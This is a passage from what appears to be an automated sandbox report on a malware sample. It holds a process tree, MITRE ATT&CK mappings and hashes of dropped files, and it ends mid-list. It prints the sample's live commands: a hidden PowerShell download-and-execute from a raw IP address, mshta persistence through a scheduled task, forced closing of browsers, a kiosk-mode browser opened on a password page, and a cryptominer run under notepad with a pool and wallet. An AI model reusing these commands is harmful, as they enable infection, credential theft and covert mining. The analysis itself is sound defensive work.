        System Location Discovery: System Language Discovery
        
        PID:772
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5584
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:332
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3564
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "cw1FWma1Vmk" /tr "mshta \"C:\Temp\hcx8DCaKO.hta\"" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3040
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\hcx8DCaKO.hta"
        8⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:5864
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        10⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5884
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        8⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5620
        
        C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe"
        8⤵
        Executes dropped EXE
        
        PID:4220
        
        C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2504
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 820
        8⤵
        Program crash
        
        PID:6064
        
        C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5904
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        8⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:3280
        
        C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:2064
        
        C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4564
        
        C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5620
        
        C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SendNotifyMessage
        
        PID:6120
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:1216
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:5140
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4512
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4664
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:3480
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        8⤵
        
        PID:4948
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        9⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:5252
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1956 -parentBuildID 20240401114208 -prefsHandle 1884 -prefMapHandle 1876 -prefsLen 27434 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {07d493d7-7ac5-4527-a6f8-21b9ac677c4a} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" gpu
        10⤵
        
        PID:5144
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 28354 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1c0ac4e6-7d0b-4ede-9eab-ba21e8ac48a4} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" socket
        10⤵
        
        PID:1388
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3008 -childID 1 -isForBrowser -prefsHandle 3000 -prefMapHandle 2996 -prefsLen 22746 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {92e2bbb9-71e5-44ed-9dfd-f2def996a4c8} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab
        10⤵
        
        PID:4520
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4212 -childID 2 -isForBrowser -prefsHandle 4204 -prefMapHandle 4200 -prefsLen 32844 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6743b8a5-073a-49cd-b24c-8553910ccb93} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab
        10⤵
        
        PID:776
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4764 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4816 -prefMapHandle 4812 -prefsLen 32844 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0b9dc5e-e200-4e61-bb8f-1d2994397928} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" utility
        10⤵
        
        PID:5484
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5264 -childID 3 -isForBrowser -prefsHandle 5256 -prefMapHandle 5204 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7bfe95cd-1d47-411a-a9c5-43942be14f1e} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab
        10⤵
        
        PID:3008
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5420 -childID 4 -isForBrowser -prefsHandle 5496 -prefMapHandle 5492 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5facc1c4-d74c-4803-8024-3d7ad9c551ea} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab
        10⤵
        
        PID:4972
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5632 -childID 5 -isForBrowser -prefsHandle 5640 -prefMapHandle 5648 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e285f33e-0217-41e6-9369-d9ced2bd4186} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab
        10⤵
        
        PID:6116
        
        C:\Users\Admin\AppData\Local\Temp\10110490101\6074db2806.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110490101\6074db2806.exe"
        7⤵
        
        PID:5636
        
        C:\Users\Admin\AppData\Local\Temp\10110500101\3ee3f2079f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110500101\3ee3f2079f.exe"
        7⤵
        
        PID:3608
- C:\Windows\System32\notepad.exe
  --donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=40
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5268
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 5268"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:5640
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 5268"
  2⤵
  - Enumerates processes with tasklist
  PID:5972
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 5268"
  2⤵
  - Enumerates processes with tasklist
  PID:1260
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 5268"
  2⤵
  - Enumerates processes with tasklist
  PID:2996
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 5268"
  2⤵
  - Enumerates processes with tasklist
  PID:5536
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 5268"
  2⤵
  - Enumerates processes with tasklist
  PID:3268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3780 -ip 3780
1⤵
PID:2324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5024 -ip 5024
1⤵
PID:4908

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5416

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2096

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
1⤵
- Executes dropped EXE
PID:3360

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:5088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5620 -ip 5620
1⤵
PID:3544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5772 -ip 5772
1⤵
PID:1944

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:3724

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
1⤵
PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\6xl68\58ycb1

Filesize
96KB

MD5
40f3eb83cc9d4cdb0ad82bd5ff2fb824

SHA1
d6582ba879235049134fa9a351ca8f0f785d8835

SHA256
cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0

SHA512
cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2

Download Submit
C:\ProgramData\6xl68\8qqiwt

Filesize
288KB

MD5
cc42310c6b79fdea5a1f97dd860bc5c9

SHA1
8c5ae2648ee12ef044471ae7f26b4c814603e36d

SHA256
21f33455cd566ff43d91f43b052bfc39ab962c6c65cd3177ebdad3ad7716e452

SHA512
0953ed6e87fa90b85ae9f575079ab08a41a70253885738d6434e5e62ec2418481aaf0bafe158273488584b364d1acbf05478032c9e2ab9b874aeb15fe2404b33

Download Submit
C:\ProgramData\6xl68\k6ppph

Filesize
114KB

MD5
17c6530503a40284486a7d10c7e87613

SHA1
1fd1dd5c6b5521fada17389e588b69bf3b22fb09

SHA256
6792c7c2010f1e8b04e16db6fdcaa862774a541fede9193d884c3c68e6e984bd

SHA512
b82a10c5be0fecfb4fcd1789f1d86dbe1c47c611fa69ca160ee09a0b66dbdd582fa1674d8d435ef3e03abf196f9669232eb82f7a02552e9414eaf8d56dbf9016

Download Submit
C:\ProgramData\DB40D1402B4D12AF.dat

Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\ProgramData\DBGHDGHCGHCAAKFIIECF

Filesize
10KB

MD5
e2766826f699c91ef54ee7ace4f0e8ee

SHA1
910d35309635866e719b8cd39727260a6cff18ef

SHA256
f71f43efef26511147fd056b0fadfe1d31d372403ee994f75c67a4a3b329f948

SHA512
0d3ce1a732524ee60e5ddf777ce99aae5bbe5f8ecf61f4f1bda81816beb0cc47d5423b7e2f3f9bc0bf1e35085328d5f297f9091d4c681aa51a78533d7594eee5

Download Submit
C:\ProgramData\HCGDGIDGIJKKEBGDAECA

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\ProgramData\IDBAKKEC

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
33ad4be7bff94365dc3157aca5c8236b

SHA1
2f1b4c2c5879142aa7dae30a0930066c66435b03

SHA256
97b711ca0546b1212bb399842559c4c95e7a405db0c95d1b6e89752018cb93e6

SHA512
053f219e91a2fc8ba32a79e58582d27483e64f83b7c843a6cf079a0dea1e3c60615390f7b361cd2fd8c609324e194e15c91c13ad353478dec08b9cf3ea0179a2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
49a8c55498ab8ef24b9c93be44eb4283

SHA1
2b67a4fe1a572583874094e4828c286e455e9e29

SHA256
64d248282881c2fa890ad6fd082ac2504e71300d59844e48ce092ece13cdbc61

SHA512
e3b9492e43319ea5b4509f08f127b1e296f87412bd798513b47236a9e6d7df8d1279886feaeb9cf5189ecf5ff29086029186fd66e0121e820695d9426f151539

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.89.1_0\_locales\en_CA\messages.json

Filesize
851B

MD5
07ffbe5f24ca348723ff8c6c488abfb8

SHA1
6dc2851e39b2ee38f88cf5c35a90171dbea5b690

SHA256
6895648577286002f1dc9c3366f558484eb7020d52bbf64a296406e61d09599c

SHA512
7ed2c8db851a84f614d5daf1d5fe633bd70301fd7ff8a6723430f05f642ceb3b1ad0a40de65b224661c782ffcec69d996ebe3e5bb6b2f478181e9a07d8cd41f6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.89.1_0\dasherSettingSchema.json

Filesize
854B

MD5
4ec1df2da46182103d2ffc3b92d20ca5

SHA1
fb9d1ba3710cf31a87165317c6edc110e98994ce

SHA256
6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6

SHA512
939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
284B

MD5
6cccd33822c33fbae92e2823de4d13c0

SHA1
04127be7c9af6f246ad855c4ae8192e092062850

SHA256
83fe7101d82bce06beb4c3ade8168d88bddbfd5f4e42a538b639d76962f1d015

SHA512
b89afd198b96de5733a1d752ef9b61fcd1617dbc9421dd40b94182f595ce725490762c7dd515fff277b00ef0bdff6fd131a10f65fe1f5367a0489a7aef00fe1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
418B

MD5
7e822403c51d054e9d13d82eb5d93f13

SHA1
ee051b4d6a7ecb668f573aba960b7486e46b806b

SHA256
1681923bc036f59242234bc3b8ce5595356782b90a9227fc74befed69f12719a

SHA512
29c5844206d6fcf77041262ebffe00c8ae9f4af9a19a5e6092d6163d1b9f5c567ff15bf5392b525443bce0d2c285e896c9a6d0d61474ca1e5591499ccbc09f78

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
552B

MD5
318084eef8749ed46126fffa4b39406d

SHA1
10ade4d0c163859ef4d5898502e3f0528b70148f

SHA256
fdc72236c41ee7a2c6b85e8b6a70792048d8e4b7d45186be294d562f1c5a25e0

SHA512
d61f40be9025ef77d4486e2819243a11e29a45660959ffe23efce9cf3ffdcc3ac9f66f3f0c96bc4ee3f70bb09d8bd265e0ade196f4b18ef88d8a951a1348ef18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
686B

MD5
d0af072207c770523d655ab2a21b7925

SHA1
86ffd44d099579b8152beef6ababca2515bad98c

SHA256
3d9bbae3fea69951c005c17a5f968373669ec3d4d01f7eeacf4fd1d96835d974

SHA512
682a5fbe82fe282ebe10b4505c57f7ca31ec1740fecbec804df22c066e77b4f520b797662736897efb680a916a8300591d92d2d493be329f0f8167a0cc6ea609

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
820B

MD5
1605139086167ad00c778deaaf9f4d1b

SHA1
235d02df1ac9f33ee8d6a954e53b9d42a9c16f72

SHA256
0fe80a3da96716214a8a73c838baf240e9e7bf7b903122d4cba000fe132b9aff

SHA512
ba8ce7d6affd6fa0bfd80a9b161c63b86b5d7a3ff170eb98bbd0bed0c4bb014a2e445dec696888093e6614c4a9334c92bacd9507304d073401df97b3e6155376

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
954B

MD5
59a657bfd7b7fd29587fecade8f39279

SHA1
77e035f6c365bb547d1077f9ed2bb1d9f38e1e30

SHA256
004291682dd6641b53a701c1d646ed27cb364c501aab127ebd4200be080e81a1

SHA512
379b6f1d443fcc3cbe0e1d67f1d3c5b655c4974d5a6d6a5a4ed2b17d66c3b707264e186d3626f25511af49cda9aade6f578b324b6ae9cdd1e5ff46a0caeb4622

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
1KB

MD5
65cf49150af7af5e9b1c20cff13c2803

SHA1
bda6c84fba974ea3b6068bd8e856b61f3628f164

SHA256
391ecf32fce2d4373ce79e71cbcadd35fe1a7ba14e7ac8c3bf5ffb24e3ab6655

SHA512
8c1c10c451ed99344d89c1d30d9132d60d7a44a64c50ca696834f5d4372b0db17275d1e0dd46152970a441a9fa5939c54722e32c18bf3cd852546abbc846fefe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
1KB

MD5
af340c3aa7a71add9e5d8bc39aee6603

SHA1
b40dec9ca1091ce3c67e68041aa8c314cf37f407

SHA256
09732cd51b785a3266feea0a8d794758a748635ef68135b38c72687839b0264a

SHA512
adb340674af532f2a11ddd5e97b5f2343c517ad74f3171bc3d7aeb4624445b8940f953d0cfca04f880655ecec492c16e26a13ffc1a99fcb9ef853d0637dfd70f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
1KB

MD5
2a77a18cd87feeed764fe3b55e1d526e

SHA1
d6cfe644c102889deeb42324d3602519ed0c63b2

SHA256
78d735be28716432753365f6bfae9b165ca1e1e2607f6c559f4ee8275db92f3a

SHA512
ffb361a2a2da11643d859d2eed9df7df46eb093d48dcb945f817dd8071d8418fb961e4ea224f67d4ce3d092e56e8fff30694a6feb551e41276aa5a0d23c8f040

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
1KB

MD5
130dbd1b9809f0819376aefa7d51bb59

SHA1
b6c175dd12060d4db5df11cbb063407299a1f2e7

SHA256
a284f860e43739128160f681e64a08ba5b81e4a09d4e6ceeae919f51246a03f0

SHA512
a39a85233d3c0b8d15cfa7a69bb47faeffc83110c27fcc068d9a437500fb1edfccb0f492e49f5edebbaf96b05efefcacec2eaa452201c779ef17c99f3449b068

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

